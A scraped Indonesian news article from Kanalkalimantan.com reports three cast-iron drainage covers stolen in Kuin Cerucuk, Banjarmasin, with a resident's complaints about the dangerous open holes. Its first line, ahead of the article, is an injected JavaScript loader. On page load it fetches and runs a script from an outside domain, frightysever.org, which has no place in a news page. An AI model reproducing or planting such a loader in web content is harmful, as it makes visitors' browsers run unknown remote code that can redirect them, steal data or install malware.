(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
KANALKALIMANTAN.COM, BANJARMASIN – Sejumlah penutup drainase di Kota Banjarmasin kembali hilang diambil maling.
Kali ini, tutup drainase berupa besi cor yang hilang itu berlokasi di Kelurahan Kuin Cerucuk RT 02, Kecamatan Banjarmasin Barat, Kota Banjarmasin.
Pantauan Kanalkalimantan.com, Sabtu (16/9/2023) siang, terdapat tiga buah tutup drainase yang hilang di kawasan jalan Kuin Selatan tersebut.
Tutup drainase yang hilang itu terbuat dari besi cor bertuliskan “Staker PKPS PUPR Cipta Karya, Pemerintah Kota Banjarmasin 2017-2018”.
Baca juga: Kurir Spesial Jaringan Narkoba Fredy Pratama, AKP AG Bakal Dipecat
Nampak, tiga lubang yang menganga di sisi jalan itu telah ditutup warga dengan keranjang kayu dan palang rambu-rambu, meskipun masih menyisakan lubang yang berbahaya bagi pengendara atau pejalan kaki yang lewat.
Sementara itu, di sekitar lokasi tutup drainase yang hilang tidak terdapat CCTV.
Anang (50) warga sekitar Kuin Cerucuk mengatakan, hilangnya tiga tutup drainase tersebut sejak Kamis (14/9/2023) malam.
Baca juga: Diduga Sembunyi di Thailand, Fredy Pratama Punya Mertua Kartel Narkoba
“Sudah dua hari, soalnya semalam (Kemarin, red) sudah kadada (tidak ada) lagi” kata pria yang setiap hari berjualan ikan di pinggir jalan Kuin Selatan.
Sebagai warga sekitar, Anang mengaku terganggu dengan lubang yang menganga akibat hilangnya tutup drainase tersebut, apalagi posisinya masuk ke badan jalan.
“Bahaya banar (bahaya sekali), aku aja hampir terperosok waktu malam datang membawa iwak (ikan) ke sini, waktu itu belum diberi tanda,” akunya.
Ia bersama warga sekitar berharap pihak terkait Dinas PUPR Banjarmasin segera mengganti tutup drainase yang hilang tersebut dengan penutup yang baru.
Baca juga: Dua Terdakwa Korupsi Kredit Kupedes Fiktif di Banjarbaru Dihadirkan ke Sidang
Sebab selain lubang menganga itu berbahaya bagi warga dan pengendara, kondisi itu juga menyebabkan jalan di wilayah Kuin Selatan itu tersendat karena posisi lubang masuk ke badan jalan yang sempit.
“Menganggu sekali ini,” keluh Anang.
Sementara itu, kejadian hilangnya tutup drainase yang terbuat dari besi cor bukan kali pertama terjadi di Kota Banjarmasin.
Baca juga: Dua Orang Pengendali Jaringan Sabu Fredy Pratama di Timur dan Barat Indonesia
Pada akhir tahun 2022 lalu, sejumlah tutup drainase juga hilang di jalan Pangeran Antasari, Kecamatan Banjarmasin Tengah dan jalan Dharma Praja, Kecamatan Banjarmasin Timur. Bahkan untuk di wilayah Dharma Praja itu tutup yang hilang sebanyak 9 buah. (Kanalkalimantan.com/rizki)
Reporter : rizki
Editor : bie
KANALKALIMANTAN.COM, BANJARMASIN - Dinas Perpustakaan dan Kearsipan Provinsi Kalimantan Selatan (Kalsel) menggelar acara sosialisasi budaya… Read More
KANALKALIMANTAN.COM, AMUNTAI - Sekretaris Daerah (Sekda) Hulu Sungai Utara (HSU) Adi Lesmana menyebut capaian target… Read More
KANALKALIMANTAN.COM- Ibadah haji merupakan salah satu impian bagi umat Islam di seluruh dunia. Agar ibadah… Read More
KANALKALIMANTAN.COM, BANJARBARU - Badan Pengawas Pemilihan Umum (Bawaslu) Kota Banjarbaru tengah merekrut Panitia Pengawas Kecamatan… Read More
KANALKALIMANTAN.COM, BANJARBARU - Pemerintah Kota (Pemko) Banjarbaru Provinsi Kalimantan Selatan (Kalsel) membentuk Tim Desk Pilkada… Read More
KANALKALIMANTAN.COM, AMUNTAI - Komisi Pemilihan Umum (KPU) Kabupaten Hulu Sungai Utara (HSU) resmi melantik 50… Read More
This website uses cookies.